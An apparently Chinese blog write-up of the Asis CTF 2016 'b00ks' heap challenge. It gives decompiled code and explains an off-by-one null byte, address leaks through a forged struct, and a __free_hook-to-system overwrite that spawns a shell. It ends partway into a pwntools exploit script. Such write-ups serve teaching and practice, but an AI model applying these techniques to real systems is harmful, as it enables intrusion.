{"id":104691,"date":"2026-09-13T00:42:05","date_gmt":"2026-09-12T16:42:05","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/104691.html"},"modified":"2026-09-13T00:42:05","modified_gmt":"2026-09-12T16:42:05","slug":"asis-ctf-2016-b00ks","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/104691.html","title":{"rendered":"Asis CTF 2016 b00ks"},"content":{"rendered":"

\u8fd9\u662f\u4e00\u9053\u5806\u57fa\u7840-off-by-one，\u7b2c\u4e00\u6b21\u63a5\u89e6\u5806，\u611f\u89c9\u6bd4\u6808\u66f4\u52a0\u62bd\u8c61\u548c\u70e7\u8111，\u6211\u4eec\u770b\u4e00\u4e0b\u8fd9\u9053\u5806\u9898\u76ee，\u5176\u5b9e\u8fd9\u9053\u9898\u76ee\u662f\u9488\u5bf9\u4e00\u4e2a\u4f5c\u8005\u7684\u6240\u6709\u76f8\u5173\u4e66\u7c4d\u7684\u4e00\u4e2a\u6574\u7406\u3002<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u6211\u4eec\u8fd8\u662f\u8001\u6837\u5b50，\u62ff\u5230\u9898\u76ee\u5148\u770b\u4e00\u4e0b\u76f8\u5173\u7684\u4fdd\u62a4，\u9664\u4e86\u6ca1\u6709\u91d1\u4e1d\u96c0\u5176\u4ed6\u4fdd\u62a4\u5168\u5f00，\u6211\u4eec\u76f4\u63a5\u8fdb\u884cida\u9759\u6001\u5206\u6790<\/h4>\n

__int64 __fastcall main(int a1, char **a2, char **a3)
\n{
\n struct _IO_FILE *v3; \/\/ rdi
\n int v4; \/\/ eax<\/p>\n

setvbuf(stdout, 0, 2, 0);
\n v3 = stdin;
\n setvbuf(stdin, 0, 1, 0);
\n sub_A77();
\n sub_B6D();
\n while ( 1 )
\n {
\n v4 = sub_A89();
\n if ( v4 == 6 )
\n break;
\n switch ( v4 )
\n {
\n case 1:
\n sub_F55();
\n break;
\n case 2:
\n sub_BBD();
\n break;
\n case 3:
\n sub_E17();
\n break;
\n case 4:
\n sub_D1F(v3);
\n break;
\n case 5:
\n sub_B6D();
\n break;
\n default:
\n v3 = (struct _IO_FILE *)"Wrong option";
\n puts("Wrong option");
\n break;
\n }
\n }
\n puts("Thanks to use our library software");
\n return 0;
\n}<\/p>\n

\u6211\u4eec\u76f4\u63a5\u67e5\u770b\u4e3b\u51fd\u6570\u903b\u8f91<\/h4>\n

_int64 sub_B6D()
\n{
\n printf("Enter author name: ");
\n if ( !(unsigned int)sub_9F5(off_202018, 32) )
\n return 0;
\n printf("fail to read author_name");
\n return 1;
\n}<\/p>\n

\u8fd9\u4e2asub_B6D\u51fd\u6570\u5c31\u662f\u8f93\u5165\u4f5c\u8005\u540d\u5b57，\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u6211\u4eec\u540e\u7eed\u4f7f\u7528\u7684\u6f0f\u6d1e\u89e6\u53d1\u70b9\u3002\u6211\u4eec\u7ee7\u7eed\u67e5\u770b\u4e00\u4e0bsub_9F5<\/h4>\n

__int64 __fastcall sub_9F5(_BYTE *a1, int a2)
\n{
\n int i; \/\/ [rsp+14h] [rbp-Ch]<\/p>\n

if ( a2 <= 0 )
\n return 0;
\n for ( i = 0; ; ++i )
\n {
\n if ( (unsigned int)read(0, a1, 1u) != 1 )
\n return 1;
\n if ( *a1 == 10 )
\n break;
\n ++a1;
\n if ( i == a2 )
\n break;
\n }
\n *a1 = 0;
\n return 0;
\n}<\/p>\n

\u6211\u4eec\u53d1\u73b0\u8fd9\u4e2a\u51fd\u6570\u662f\u4e00\u4e2a\u5faa\u73af\u8f93\u5165\u51fd\u6570，\u800c\u4e14\u6211\u4eec\u770b\u573017\u884c，\u95ee\u9898\u5c31\u51fa\u73b0\u5728\u8fd9\u91cc，\u5f53\u6211\u4eec\u4f20\u8fdb\u6765\u7684a2\u662f32\u7684\u65f6\u5019，\u5982\u679c\u5728\u6ee1\u8db3\u4e0a\u8ff0\u6761\u4ef6\u7684\u60c5\u51b5\u4e0b，\u5c31\u4f1a\u4f7f\u7b2c33\u4f4d\u7b49\u4e8e0，\u8fd9\u5c31\u5b8c\u5168\u7b26\u5408\u6211\u4eec\u7684\u8fd9\u4e2a\u9898\u76eeoff-by-one<\/h4>\n

__int64 sub_A89()
\n{
\n int v1; \/\/ [rsp+Ch] [rbp-4h] BYREF<\/p>\n

v1 = -1;
\n puts("\\\\n1. Create a book"); \/\/1. \u521b\u5efa\u4e66\u7c4d
\n puts("2. Delete a book"); \/\/2. \u5220\u9664\u4e66\u7c4d
\n puts("3. Edit a book"); \/\/3.\u7f16\u8f91\u4e66\u7c4d
\n puts("4. Print book detail"); \/\/4. \u6253\u5370\u4e66\u7c4d\u8be6\u60c5
\n puts("5. Change current author name"); \/\/5. \u4fee\u6539\u5f53\u524d\u4f5c\u8005\u540d
\n puts("6. Exit"); \/\/6. \u9000\u51fa
\n printf("> ");
\n __isoc99_scanf("%d", &v1);
\n if ( v1 <= 6 && v1 > 0 )
\n return (unsigned int)v1;
\n else
\n return 0xFFFFFFFFLL;
\n}<\/p>\n

\u6211\u4eec\u770bCreate\u51fd\u6570<\/h4>\n

__int64 sub_F55()
\n{
\n int v1; \/\/ [rsp+0h] [rbp-20h] BYREF
\n int v2; \/\/ [rsp+4h] [rbp-1Ch]
\n void *v3; \/\/ [rsp+8h] [rbp-18h]
\n void *ptr; \/\/ [rsp+10h] [rbp-10h]
\n void *v5; \/\/ [rsp+18h] [rbp-8h]<\/p>\n

v1 = 0;
\n printf("\\\\nEnter book name size: ");
\n __isoc99_scanf("%d", &v1);
\n if ( v1 < 0 )
\n goto LABEL_2;
\n printf("Enter book name (Max 32 chars): ");
\n ptr = malloc(v1);
\n if ( !ptr )
\n {
\n printf("unable to allocate enough space");
\n goto LABEL_17;
\n }
\n if ( (unsigned int)sub_9F5(ptr, v1 – 1) )
\n {
\n printf("fail to read name");
\n goto LABEL_17;
\n }
\n v1 = 0;
\n printf("\\\\nEnter book description size: ");
\n __isoc99_scanf("%d", &v1);
\n if ( v1 < 0 )
\n {
\nLABEL_2:
\n printf("Malformed size");
\n }
\n else
\n {
\n v5 = malloc(v1);
\n if ( v5 )
\n {
\n printf("Enter book description: ");
\n if ( (unsigned int)sub_9F5(v5, v1 – 1) )
\n {
\n printf("Unable to read description");
\n }
\n else
\n {
\n v2 = sub_B24();
\n if ( v2 == -1 )
\n {
\n printf("Library is full");
\n }
\n else
\n {
\n v3 = malloc(0x20u);
\n if ( v3 )
\n {
\n *((_DWORD *)v3 + 6) = v1;
\n *((_QWORD *)off_202010 + v2) = v3;
\n *((_QWORD *)v3 + 2) = v5;
\n *((_QWORD *)v3 + 1) = ptr;
\n *(_DWORD *)v3 = ++unk_202024;
\n return 0;
\n }
\n printf("Unable to allocate book struct");
\n }
\n }
\n }
\n else
\n {
\n printf("Fail to allocate memory");
\n }
\n }
\nLABEL_17:
\n if ( ptr )
\n free(ptr);
\n if ( v5 )
\n free(v5);
\n if ( v3 )
\n free(v3);
\n return 1;
\n}<\/p>\n

\u8fd9\u4e2a\u51fd\u6570\u7684\u903b\u8f91\u6bd4\u8f83\u7b80\u5355，\u6211\u4eec\u5c31\u4e0d\u8fc7\u591a\u7684\u89e3\u91ca\u4e86<\/h4>\n

\u6700\u540e\u4f1a\u5f62\u6210\u4e00\u4e2a\u6570\u636e\u7ed3\u6784，\u8fd9\u91cc\u7ed9\u5927\u5bb6\u5217\u51fa\u6765\u65b9\u4fbf\u5927\u5bb6\u7406\u89e3<\/h4>\n

struct book { \/\/ 0x20 \u5b57\u8282
\n int id; \/\/ +0x00
\n char *name; \/\/ +0x08 \u72ec\u7acb\u5206\u914d\u7684 name \u5b57\u7b26\u4e32
\n char *description; \/\/ +0x10 \u72ec\u7acb\u5206\u914d\u7684 description \u5b57\u7b26\u4e32
\n int size; \/\/ +0x18 description \u5927\u5c0f
\n};<\/p>\n

book **library; \/\/ 0x202010 \u2192 library[20] \u6570\u7ec4（bss）
\nchar *author_name; \/\/ 0x202018 \u2192 author_name[32] \u7f13\u51b2\u533a，\u7d27\u8ddf library[0]（\u76f8\u90bb）<\/p>\n

\u00a0<\/p>\n

<\/p>\n

\u00a0<\/p>\n

<\/p>\n

<\/p>\n

\u00a0<\/p>\n

<\/p>\n

\u8fd9\u91cc\u610f\u601d\u662f\u504f\u79fb202010\u7684\u4f4d\u7f6e\u5904\u5b58\u50a8\u7740202060\u7684\u5730\u5740<\/h4>\n

\u8fd9\u4e2a40\u5c31\u662f\u4f5c\u8005\u7684\u59d3\u540d，60\u662f\u4e66\u672c\u7684\u5730\u5740，\u4e4b\u95f4\u76f8\u5dee0x20\u4e5f\u5c31\u662f32\u5b57\u8282<\/h4>\n

\u6211\u4eec\u63a5\u4e0b\u6765\u770b\u4e00\u4e0b\u5269\u4e0b\u51e0\u4e2a\u51fd\u6570<\/h4>\n

edit（0xe17）<\/p>\n

int edit() {
\n int id;
\n printf("Enter the book id you want to edit: ");
\n scanf("%d", &id);
\n \/\/ \u6309 id \u627e book，\u627e\u4e0d\u5230\u62a5\u9519
\n printf("Enter new book description: ");
\n if (my_read(library[i]->description, library[i]->size – 1) != 0) { \/\/ \u6ce8\u610f size-1，\u65e0\u8d8a\u754c
\n printf("Unable to read new description");
\n return 1;
\n }
\n return 0;
\n}<\/p>\n

delete_book（0xbbd）<\/p>\n

int delete_book() {
\n int id;
\n printf("Enter the book id you want to delete: ");
\n scanf("%d", &id);
\n \/\/ \u6309 id \u627e book，\u627e\u4e0d\u5230\u62a5\u9519
\n free(library[i]->name); \/\/ 1. free name
\n free(library[i]->description); \/\/ 2. free description
\n free(library[i]); \/\/ 3. free \u7ed3\u6784\u4f53
\n library[i] = NULL;
\n return 0;
\n}<\/p>\n

show（0xd1f）\u2014\u2014 \u6cc4\u9732\u70b9<\/p>\n

void show() {
\n for (int i = 0; i <= 0x13; i++) {
\n if (library[i]) {
\n printf("ID: %d\\\\n", library[i]->id);
\n printf("Name: %s\\\\n", library[i]->name);
\n printf("Description: %s\\\\n", library[i]->description);
\n printf("Author: %s\\\\n", author_name); \/\/ \u6253\u5370 author_name（32 \u5b57\u8282，\u65e0 null \u4f1a\u8fde\u8bfb library[0]）
\n }
\n }
\n}<\/p>\n

author_name \u88ab 'a'*32 \u586b\u6ee1\u65e0 null \u7ec8\u6b62，printf("Author: %s") \u4f1a\u8fde\u8bfb library[0] \u6307\u9488 \u2192 \u6cc4\u9732 book \u7ed3\u6784\u4f53\u5730\u5740\u3002<\/p>\n

\u597d\u4e86，\u6211\u4eec\u9759\u6001\u5206\u6790\u5df2\u7ecf\u5b8c\u6210\u4e86，\u6f0f\u6d1e\u70b9\u548c\u5229\u7528\u6d41\u7a0b\u90fd\u786e\u5b9a\u7684\u5dee\u4e0d\u591a\u4e86，\u5176\u5b9e\u8fd9\u4e2a\u56fe\u4e66\u9986\u6f0f\u6d1e\u5c31\u662f： \u5229\u7528\u672a\u5b8c\u5168\u622a\u65ad\u7684\u521d\u59cb\u5316\u8f93\u5165\u6cc4\u9732\u5806\u5730\u5740；\u63a5\u7740\u901a\u8fc7\u201c\u4fee\u6539\u4f5c\u8005\u540d\u201d\u529f\u80fd\u89e6\u53d1\u5355\u5b57\u8282\u7a7a\u5b57\u8282\u6ea2\u51fa（Null-byte off-by-one），\u5c06\u7b2c 1 \u4e2a\u56fe\u4e66\u6307\u9488\u7684\u6700\u4f4e\u6709\u6548\u5b57\u8282\u8986\u5199，\u4f7f\u5176\u201c\u6307\u9e7f\u4e3a\u9a6c\u201d\u5730\u91cd\u5b9a\u5411\u81f3 book1 \u81ea\u8eab\u5185\u5b58\u4e2d\u7684\u7b80\u4ecb\u533a\u57df；\u5728\u7cbe\u7ec6\u7684\u5806\u5e03\u5c40（Heap Feng Shui）\u63a7\u5236\u4e0b，\u8be5\u533a\u57df\u88ab\u9884\u5148\u5199\u5165\u4e86\u4e00\u4e2a\u4f2a\u9020\u7684\u5047\u7ed3\u6784\u4f53，\u914d\u5408\u8d85\u5927 mmap \u5185\u5b58\u5757\u7d27\u90bb libc \u533a\u57df\u7684\u7279\u6027，\u901a\u8fc7\u5047\u7ed3\u6784\u4f53\u6210\u529f\u5b9e\u73b0\u4e86\u4efb\u610f\u5730\u5740\u8bfb\u5e76\u6cc4\u9732 libc \u57fa\u5740\u4ee5\u7ed5\u8fc7 ASLR；\u6700\u7ec8\u4f9d\u6258\u4f2a\u9020\u7ed3\u6784\u4f53\u5e26\u6765\u7684\u4efb\u610f\u5730\u5740\u5199\u80fd\u529b，\u5c06 libc \u4e2d\u7684 __free_hook \u8986\u5199\u4e3a system \u51fd\u6570，\u5e76\u5728\u6267\u884c\u5220\u4e66（free）\u64cd\u4f5c\u65f6\u9690\u853d\u5730\u89e6\u53d1 system("\/bin\/sh")，\u6210\u529f\u52ab\u6301\u63a7\u5236\u6d41\u5e76\u53d6\u5f97 Shell\u3002<\/h4>\n

\u00a0<\/p>\n

\u6211\u4eec\u63a5\u4e0b\u6765\u53bbubuntu\u4e2d\u8fdb\u884c\u52a8\u6001\u9a8c\u8bc1\u4e00\u4e0b<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u8fd9\u91cc\u6211\u4eec\u5728\u8fdb\u884cgdb\u8c03\u8bd5\u7684\u540c\u65f6\u5c06aslr\u4fdd\u62a4\u7ed9\u5173\u95ed\u4e86，\u8fd9\u6837\u4ee5\u6765\u6211\u5728\u5206\u6790\u5229\u7528\u7684\u8fc7\u7a0b\u4e2d\u4e5f\u66f4\u65b9\u4fbf\u89c2\u5bdf，\u4e5f\u6709\u5229\u4e8e\u5404\u4f4d\u770b\u5b98\u7684\u7406\u89e3<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u00a0<\/p>\n

<\/p>\n

\u8fd9\u91cc\u6211\u4eec\u521b\u5efa\u4e86\u4e24\u672c\u4e66，\u53ef\u80fd\u4f1a\u6709\u90e8\u5206\u770b\u5b98\u4f1a\u5bf9\u8fd9\u51e0\u7ec4\u6570\u636e\u6709\u70b9\u7591\u60d1，\u6211\u4eec\u8fdb\u884c\u89e3\u7b54\u4e00\u4e0b：<\/h4>\n

1.\u4e3a\u4ec0\u4e48\u662f208？<\/p>\n

\u6211\u4eec\u8fd9\u4e2a\u6f0f\u6d1e\u9700\u8981\u5229\u7528desc\u4f2a\u9020\u4e00\u4e2a\u7ed3\u6784\u4f53，\u7136\u540e\u5728\u8f93\u5165\u4f5c\u8005\u540d\u5b57\u7684\u65f6\u5019\u8fdb\u884c\u6ea2\u51fa\u4e00\u4e2a\u5b57\u828200\u8986\u76d6library[0]\u7684\u6700\u540e\u4e00\u4e2a\u5b57\u8282，\u8986\u76d6\u540e\u6700\u540e\u4e00\u4e2a\u5b57\u8282\u662f00，\u90a3\u4e48\u8fd9\u6837\u4ee5\u6765\u6211\u4eec\u5c31\u9700\u8981\u5c06desc\u7684\u5730\u5740\u6700\u540e\u4e24\u4f4d\u8bbe\u7f6e\u4e3a0，\u600e\u4e48\u505a\u5462？desc \u7684\u5730\u5740 = name \u7684\u5730\u5740 + name \u8fd9\u4e00\u5757\u7684\u5927\u5c0f， name \u8fd9\u4e00\u5757\u7684\u5927\u5c0f = name_size + 0x10，\u8fd9\u4e24\u4e2a\u516c\u53f8\u4e0d\u61c2\u7684\u8bdd，\u53bb\u770b\u4e00\u4e0b\u5806\u57fa\u7840，\u8fd9\u91cc\u4e0d\u505a\u89e3\u91ca\u4e86\u3002<\/p>\n

\u00a0<\/p>\n

<\/p>\n

\u8fd9\u91cc\u6211\u4eec\u770b\u4e0a\u9762\u8fd9\u5f20\u56fe\u3002\u5176\u5b9e\u6211\u4eec\u73b0\u5728\u7684\u56fe\u4e66\u9986\u4e2d\u53ea\u6709\u6211\u4eec\u65b0\u521b\u5efa\u7684\u4e24\u672c\u4e66，\u6240\u6709v3\u7684\u5730\u5740\u5c31\u662f\u7b2c\u4e00\u672c\u4e66name\u7684\u5730\u5740，<\/p>\n

<\/p>\n

\u8fd9\u91cc\u7684\u7b2c\u4e8c\u4e2a\u6570\u503c\u5c31\u662fname\u7684\u5730\u5740，\u770b\u4e0d\u61c2\u7684\u533a\u5206\u4e00\u4e0bqword\u548cdword，\u6240\u4ee5\u6700\u540e\u63a8\u7b97\u51fa\u8fd9\u4e2aname size\u662f208；<\/p>\n

2.\u8fd9\u4e2a32\u7684\u8bdd\u533a\u5206\u4e00\u4e0bqword\u548cdword，\u7136\u540e\u7b97\u4e00\u4e0b\u8fd9\u4e2a\u7ed3\u6784\u4f53\u7684\u5927\u5c0f<\/p>\n

3.135168（0x21000）\u662f\u4ec0\u4e48？\u8fd9\u91cc\u5176\u5b9e\u662f\u9875\u5bf9\u9f50\u7684\u539f\u56e0，\u6211\u4eec\u9700\u8981\u4f7f\u7528mmap\u8fdb\u884c\u52a8\u6001\u6620\u5c04，\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462？\u56e0\u4e3a\u5185\u5b58\u6620\u5c04\u4f1a\u5c06\u65b0\u5185\u5b58\u7a7a\u95f4\u6620\u5c04\u5230libc\u5e93，\u8fd9\u6837\u4e00\u6765，\u6211\u4eec\u7b97libc\u7684\u57fa\u5730\u5740\u548c\u67e5\u627esystem\u7684\u5730\u5740\u7684\u65f6\u5019\u90fd\u4f1a\u975e\u5e38\u7684\u65b9\u4fbf<\/p>\n

\u00a0<\/p>\n

\u597d\u4e86，\u7406\u89e3\u4e86\u4e0a\u9762\u7684\u5185\u5bb9\u4e0b\u9762\u5c31\u7b80\u5355\u591a\u4e86<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u6211\u4eec\u4e00\u5f00\u59cb\u5728\u4f5c\u8005\u540d\u5b57\u7684\u5730\u65b9\u8f93\u5165\u4e8632\u4e2aa，\u521a\u597d\u7ecf\u8fc7sub_9F5\u4e4b\u540e\u5c31\u53d1\u751f\u4e86off-by-one<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u6211\u4eec\u770b\u5230\u6211\u4eec\u8fdb\u884c\u6253\u5370\u4e66\u7c4d\u7684\u65f6\u5019\u53d1\u73b0\u51fa\u73b0\u4e86\u4e71\u7801，\u8fd9\u662f\u600e\u4e48\u56de\u4e8b\u5462？<\/h4>\n

\u5176\u5b9e\u8fd9\u4e0d\u662f\u4e71\u7801，\u800c\u662f\u5730\u5740，\u53ea\u662f\u7cfb\u7edf\u6709\u65f6\u5019\u4f1a\u8bc6\u522b\u5931\u8d25<\/p>\n

'0' = 0x30 'U' = 0x55 '`' = 0x60 'U' = 0x55 'U' = 0x55 'U' = 0x55，\u5c0f\u7aef\u5e8f\u5f97\u5230\u4e86book1 \u7ed3\u6784\u4f53\u5730\u5740 0x555555605530！<\/p>\n

\u8fd9\u6837\u5c31\u5b8c\u6210\u4e86\u6f0f\u6d1e\u7684\u5229\u7528，\u8fd8\u6ca1\u7ed3\u675f\u5462<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u63a5\u4e0b\u6765\u5c31\u662f\u771f\u6b63\u7684\u540d\u5200\u4e86，\u6211\u4eec\u8981\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u8fdb\u884c\u4f2a\u9020\u548c\u6cc4\u6f0f\u5730\u5740<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u4e0a\u56fe\u6211\u4eec\u5c31\u6210\u529f\u5730\u4f2a\u9020\u4e86\u4e00\u4e2a\u5047\u7684\u7ed3\u6784\u4f53<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u8fd9\u91cc\u5df2\u7ecf\u6cc4\u6f0f\u6210\u529f\u4e86，\u8fd9\u4e2a\u4e71\u7801\u5c31\u662f0x7f,\u4e5f\u5c31\u662fmmap\u4e4b\u540e\u7684\u5730\u5740，\u4f46\u662f\u4e00\u4e9b\u8bfb\u8005，\u53ef\u80fd\u5230\u8fd9\u91cc\u76f4\u63a5\u5c31\u8499\u4e86，\u6211\u4eec\u4e0d\u662f\u5229\u7528\u4f5c\u8005\u59d3\u540d\u8fdb\u884c\u7684\u6f0f\u6d1e\u6cc4\u9732\u5417？\u8fd9\u91cc\u600e\u4e48\u4f1a\u6210\u8fd9\u6837\u5462？\u600e\u4e48\u6cc4\u9732\u7684\u5730\u5740\u8dd1\u5230name\u548cdesc\u4e0a\u9762\u53bb\u4e86？\u54c8\u54c8\u54c8\u54c8\u3002\u5176\u5b9e\u8fd9\u91cc\u5c31\u662f\u4f60\u5bf9\u8fd9\u4e2a\u6f0f\u6d1e\u771f\u6b63\u7684\u5229\u7528\u601d\u8def\u7684\u4e0d\u7406\u89e3，\u6211\u4eec\u5728\u8fdb\u884c\u89e3\u91ca\u4e00\u8fb9，\u6211\u4eec\u662f\u5229\u7528\u8fd9\u4e2a\u4f5c\u8005\u7684\u540d\u5b57\u8fdb\u884c\u6ea2\u51fa\u4e00\u4e2a\u5b57\u8282\u8fdb\u884c\u8986\u76d6\u7b2c\u4e00\u672c\u4e66\u5730\u5740，\u8ba9\u4ed6\u6307\u5411\u4e86\u7b2c\u4e00\u672c\u4e66desc，\u4e5f\u5c31\u662f\u6211\u4eec\u4f2a\u9020\u7684\u7ed3\u6784\u4f53，\u6211\u4eec\u4ed4\u7ec6\u770b\u770b\u6211\u4eec\u4f2a\u9020\u7684\u5185\u5bb9\u662f\u4ec0\u4e48\u5462？<\/h4>\n

\u00a0<\/p>\n

<\/p>\n

\u5047\u7ed3\u6784\u4f53.name = 0x…5568 = \u7b2c\u4e8c\u672c\u4e66\u7684 name \u5b57\u6bb5<\/h4>\n

\u5047\u7ed3\u6784\u4f53.description = 0x…5570 = \u7b2c\u4e8c\u672c\u4e66\u7684 desc \u5b57\u6bb5<\/h4>\n

\u60f3\u5fc5\u5230\u8fd9\u91cc\u90e8\u5206\u8bfb\u8005\u5c31\u540d\u62a5\u4e86，\u8fd9\u91cc\u6307\u5411\u7684\u5c31\u662f\u6211\u4eec\u7684\u7b2c\u4e8c\u672c\u4e66\u554a，\u6211\u4eec\u8fdb\u5165\u8fd9\u4e2a\u5730\u5740\u8bfb\u53d6\u4e4b\u540e\u6cc4\u6f0f\u51fa\u6765\u7684\u5730\u5740\u4e0d\u5c31\u662fmmap\u4e4b\u540e\u7684\u5730\u5740\u5417？\u8fd9\u6837\u4ee5\u6765\u6211\u4eec\u5c31\u6210\u529f\u7684\u5229\u7528\u4e86\u8fd9\u4e2a\u6f0f\u6d1e，\u5927\u5bb6\u53ef\u4ee5\u597d\u597d\u4f53\u4f1a\u4e00\u4e0b，\u6ca1\u60f3\u5230\u771f\u6b63\u7684\u540d\u5200\u4e0d\u662f\u4f5c\u8005\u540d\u5b57\u800c\u662f\u540e\u9762\u7684mmap\u5427，\u81f3\u6b64，\u6211\u4eec\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u96cf\u5f62\u5df2\u7ecf\u5b8c\u5168\u663e\u9732\u51fa\u6765\u4e86，\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u5c31\u8981\u5316\u8eab\u4e3a\u7325\u7410\u7684\u9ed1\u5ba2，\u5f00\u59cb\u505a\u574f\u4e8b\u4e86，\u63a5\u4e0b\u6765\u5c31\u662f\u7b97\u51falibc\u7684\u57fa\u5730\u5740，\u627e\u5230freehook\u51fd\u6570\u548csystem\u7cfb\u7edf\u8c03\u7528\u7684\u5730\u5740；\u7136\u540e\u5c06free\u7684\u5730\u5740\u66ff\u6362\u4e3asystem，\u8fd9\u6837\u6211\u4eec\u53ea\u9700\u8981\u89e6\u53d1free\u5c31\u53ef\u4ee5\u6267\u884csystem("bin\/sh")\u62ffshell\u4e86，\u8fd9\u91cc\u5982\u679c\u7ee7\u7eed\u4f7f\u7528gdb\u8fdb\u884c\u4e00\u6b65\u4e00\u6b65\u8bfb\u5730\u5740，\u8bbe\u7f6e，\u6cc4\u6f0f，\u5728\u52a0\u4e0a\u4fdd\u62a4\u5168\u5f00，\u8fd9\u6837\u4f1a\u5f88\u9ebb\u70e6\u4e5f\u5f88\u6d6a\u8d39\u65f6\u95f4，\u6211\u4eec\u76f4\u63a5\u4f7f\u7528\u4e00\u4e2a\u811a\u672c\u641e\u5b9a，\u53ea\u8981\u4e0a\u9762\u7684\u5185\u5bb9\u5927\u5bb6\u53ef\u4ee5\u7406\u89e3\u5c31\u884c<\/h4>\n

# \u5bfc\u5165 pwntools \u5e93，\u91cc\u9762\u5c01\u88c5\u4e86 exploit \u9700\u8981\u7684\u6240\u6709\u5de5\u5177（\u542f\u52a8\u8fdb\u7a0b\u3001\u6536\u53d1\u6570\u636e\u3001\u6253\u5305\u5730\u5740\u7b49）
\nfrom pwn import *<\/p>\n

# \u8bbe\u7f6e\u65e5\u5fd7\u7ea7\u522b\u4e3a info：\u8fd0\u884c\u65f6\u4f1a\u5728\u5c4f\u5e55\u4e0a\u6253\u5370\u5173\u952e\u4fe1\u606f（\u5982\u6cc4\u9732\u5230\u7684\u5730\u5740）
\ncontext.log_level = 'info'<\/p>\n

# \u7528 ELF() \u89e3\u6790 libc \u6587\u4ef6，\u62ff\u5230\u5b83\u7684\u7b26\u53f7\u8868
\n# \u4e4b\u540e\u5c31\u80fd\u901a\u8fc7 libc.symbols['__free_hook'] \u4e4b\u7c7b\u7684\u5199\u6cd5，\u76f4\u63a5\u67e5\u5230\u51fd\u6570\u5728 libc \u91cc\u7684"\u504f\u79fb"
\nlibc = ELF('.\/libc-2.23.so')<\/p>\n

# \u542f\u52a8 b00ks \u7a0b\u5e8f（\u672c\u5730\u8fdb\u7a0b）
\nio = process('.\/b00ks')<\/p>\n

# ============================================================
\n# \u4e0b\u9762\u662f 5 \u4e2a\u8f85\u52a9\u51fd\u6570：\u628a"\u70b9\u83dc\u5355 + \u53d1\u6570\u636e"\u5305\u88c5\u6210\u4e00\u884c\u8c03\u7528，\u8ba9\u4e3b\u6d41\u7a0b\u8bfb\u8d77\u6765\u6e05\u723d
\n# sendlineafter(A, B) = \u4e00\u76f4\u7b49，\u7b49\u5230\u6536\u5230 A \u8fd9\u4e2a\u63d0\u793a，\u518d\u53d1\u9001 B（\u81ea\u52a8\u5e26\u6362\u884c）
\n# ============================================================<\/p>\n

# \u3010\u5efa\u4e66\u3011\u83dc\u5355\u9009 1，\u7136\u540e\u4f9d\u6b21\u53d1：\u540d\u5b57\u5927\u5c0f\u3001\u4e66\u540d\u3001\u7b80\u4ecb\u5927\u5c0f\u3001\u7b80\u4ecb
\ndef create(ns, name, ds, desc):
\n io.sendlineafter(b'> ', b'1') # \u7b49\u83dc\u5355\u63d0\u793a '> '，\u53d1 '1'（\u8fdb\u5165\u5efa\u4e66）
\n io.sendlineafter(b'name size: ', str(ns).encode()) # \u7b49 'name size: '，\u53d1\u540d\u5b57\u5927\u5c0f（\u6570\u5b57）
\n io.sendlineafter(b'name (Max 32 chars): ', name) # \u7b49 'name …'，\u53d1\u4e66\u540d（\u5b57\u7b26\u4e32）
\n io.sendlineafter(b'description size: ', str(ds).encode()) # \u7b49 'description size: '，\u53d1\u7b80\u4ecb\u5927\u5c0f
\n io.sendlineafter(b'description: ', desc) # \u7b49 'description: '，\u53d1\u7b80\u4ecb\u5185\u5bb9<\/p>\n

# \u3010\u5220\u4e66\u3011\u83dc\u5355\u9009 2，\u53d1\u8981\u5220\u7684\u4e66\u53f7
\ndef delete(idx):
\n io.sendlineafter(b'> ', b'2') # \u7b49 '> '，\u53d1 '2'（\u8fdb\u5165\u5220\u4e66）
\n io.sendlineafter(b'delete: ', str(idx).encode()) # \u7b49 'delete: '，\u53d1\u4e66\u53f7<\/p>\n

# \u3010\u7f16\u8f91\u3011\u83dc\u5355\u9009 3，\u53d1\u4e66\u53f7 + \u65b0\u7b80\u4ecb（\u8fd9\u91cc\u7684 desc \u53ef\u4ee5\u662f\u4e8c\u8fdb\u5236，\u56e0\u4e3a\u540e\u9762\u8981\u5199\u5730\u5740）
\ndef edit(idx, desc):
\n io.sendlineafter(b'> ', b'3') # \u7b49 '> '，\u53d1 '3'（\u8fdb\u5165\u7f16\u8f91）
\n io.sendlineafter(b'edit: ', str(idx).encode()) # \u7b49 'edit: '，\u53d1\u4e66\u53f7
\n io.sendlineafter(b'description: ', desc) # \u7b49 'description: '，\u53d1\u65b0\u7b80\u4ecb（\u53ef\u542b\u4e8c\u8fdb\u5236\u5b57\u8282）<\/p>\n

# \u3010\u6539\u4f5c\u8005\u540d\u3011\u83dc\u5355\u9009 5，\u53d1\u65b0\u540d\u5b57（\u8fd9\u662f\u89e6\u53d1 off-by-null \u7684\u5730\u65b9）
\ndef author(name):
\n io.sendlineafter(b'> ', b'5') # \u7b49 '> '，\u53d1 '5'（\u8fdb\u5165\u6539\u4f5c\u8005\u540d）
\n io.sendlineafter(b'name: ', name) # \u7b49 'name: '，\u53d1\u65b0\u540d\u5b57<\/p>\n

# \u3010\u6253\u5370\u8be6\u60c5\u3011\u83dc\u5355\u9009 4（\u8fd9\u662f\u6cc4\u9732\u5730\u5740\u7684\u5730\u65b9）
\ndef show():
\n io.sendlineafter(b'> ', b'4') # \u7b49 '> '，\u53d1 '4'（\u6253\u5370\u6240\u6709\u4e66\u7684\u4fe1\u606f）<\/p>\n

# ============================================================
\n# \u4e0b\u9762\u662f\u4e3b\u6d41\u7a0b，\u5bf9\u5e94\u4e4b\u524d\u624b\u52a8\u8c03\u8bd5\u65f6\u8d70\u7684\u90a3\u51e0\u6b65
\n# ============================================================<\/p>\n

# \u6b65\u9aa41：\u7a0b\u5e8f\u4e00\u542f\u52a8\u5c31\u8981\u6c42\u8f93\u5165\u4f5c\u8005\u540d，\u585e\u6ee1 32 \u4e2a\u5b57\u8282\u89e6\u53d1 off-by-null
